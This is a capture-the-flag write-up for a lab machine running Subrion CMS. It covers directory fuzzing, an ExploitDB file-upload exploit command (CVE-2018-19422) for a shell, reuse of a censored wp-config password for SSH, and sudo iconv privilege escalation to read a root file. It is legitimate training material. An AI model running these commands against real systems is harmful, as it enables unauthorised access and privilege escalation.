Trying to access this /subrion folder. Did not work in the browser. So tried accessing it via curl

No wonder its not working. There is a 302 redirect to a strange IP. Also a strange cookie value.

The enter.txt mentions a panel, which I am guessing is some kind of CMS admin panel.

Let's try and find it. Modifying my usual ffuf statement to remove the -r option to ensure redirects are not followed. Also filtering for 302 status codes. Regarding the 302, the server seems to be configured to return a 302 redirect to 10.0.2.15, when we try to access a subfolder of subrion, which will make fuzzing a pain in the behind if we dont handle it properly.

Example

└─$ curl -v http://techsupport.thm/subrion/whatintheworld/

Note: Also removed the -recursion option. There is a / after FUZZ. If we don't add this, the server returns a 301 with the slash added. But for the recursion option to work, the FUZZ keyword needs to be the last thing on the URL string.

Now, let's fuzz!

Subrion Version 4.2.1 is installed. Searching for anything regarding this version on ExploitDB, we get https://www.exploit-db.com/exploits/49876. An arbitrary file upload exploit.

Let's try and use it.

Uploading a reverse shell using CVE-2018-19422

Don't forget to add the slash after panel in the URL when running the exploit.

└─$ python3 49876.py -u http://techsupport.thm/subrion/panel/ --user=admin --passw=CENSORED

The above exploit gives us a command shell. Let's pivot to a full featured reverse shell by running a Python3 reverse shell command.
Here are some good examples => https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python

With this shell, we can get a foothold on the machine.

Foothold

wp-config.php

/** The name of the database for WordPress */
define( 'DB_NAME', 'wpdb' );

/** MySQL database username */
define( 'DB_USER', 'support' );

/** MySQL database password */
define( 'DB_PASSWORD', 'CENSORED' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

Trying to do an SSH login to the scamsite user(which we found in the home folder) using the above password?

Success!! We now have a proper login shell.

Let's try for privesc

Privesc 

scamsite@TechSupport:~$ sudo -l
Matching Defaults entries for scamsite on TechSupport:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User scamsite may run the following commands on TechSupport:
    (ALL) NOPASSWD: /usr/bin/iconv
Enter fullscreen mode Exit fullscreen mode

Looks like we have sudo permissions for one command. Let's see if we can leverage that for privesc.

Yes we can => https://gtfobins.github.io/gtfobins/iconv/#sudo

scamsite@TechSupport:~$ sudo /usr/bin/iconv 8859_1 -t 8859_1 /root/root.txt
/usr/bin/iconv: cannot open input file `8859_1': No such file or directory
